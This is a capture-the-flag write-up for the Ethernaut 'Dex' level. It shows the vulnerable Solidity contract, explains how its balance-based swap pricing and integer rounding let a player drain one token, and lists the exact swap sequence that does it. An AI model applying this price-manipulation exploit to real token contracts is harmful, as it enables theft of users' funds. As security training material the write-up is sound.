Ethernaut Level 22: Dex

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Requirements

  1. Drain all of at least 1 of the 2 tokens from the contract
  2. Allow the contract to report a "bad" price of the assets

Concepts

Hack

We exploit a flaw in the getSwapPrice method which calculates prices using the following equation.

= amount * balance(token1) / balance(token2)

This uses division and this operation does not deal with floating point numbers. According to the documentation,

Since the type of the result of an operation is always the type of one of the operands, division on integers always results in an integer. In Solidity, division rounds towards zero.

For example, 5 / 2 = 2 instead of 5 / 2 = 2.5.

The exploit is done by swapping all of our token1 for token2 and then swapping all token2 for token1. We do this until we have successfully drained all the tokens. The swaps and prices would look like this.

SwapDex Token 1Dex Token 2Player Token 1Player Token 2
1100100100
211090010
386110240
411080030
569110410
611045065
70901100

Notice that at Swap 3, we expect 20 * 110 / 90 = 24.444... However, because of how division returns integers we calculate 24. At Swap 7, we only need 45 tokens to successfully drain the Dex.

Solution

First, we have to approve that we can transfer our tokens.

await contract.approve(instance, 1000)

Let us save the address of each token into a variable for convenience.

const token1 = await contract.token1()
const token2 = await contract.token2()

Next we swap the tokens back and forth.

await contract.swap(token1, token2, 10)
await contract.swap(token2, token1, 20)
await contract.swap(token1, token2, 24)
await contract.swap(token2, token1, 30)
await contract.swap(token1, token2, 41)
await contract.swap(token2, token1, 45)

Done!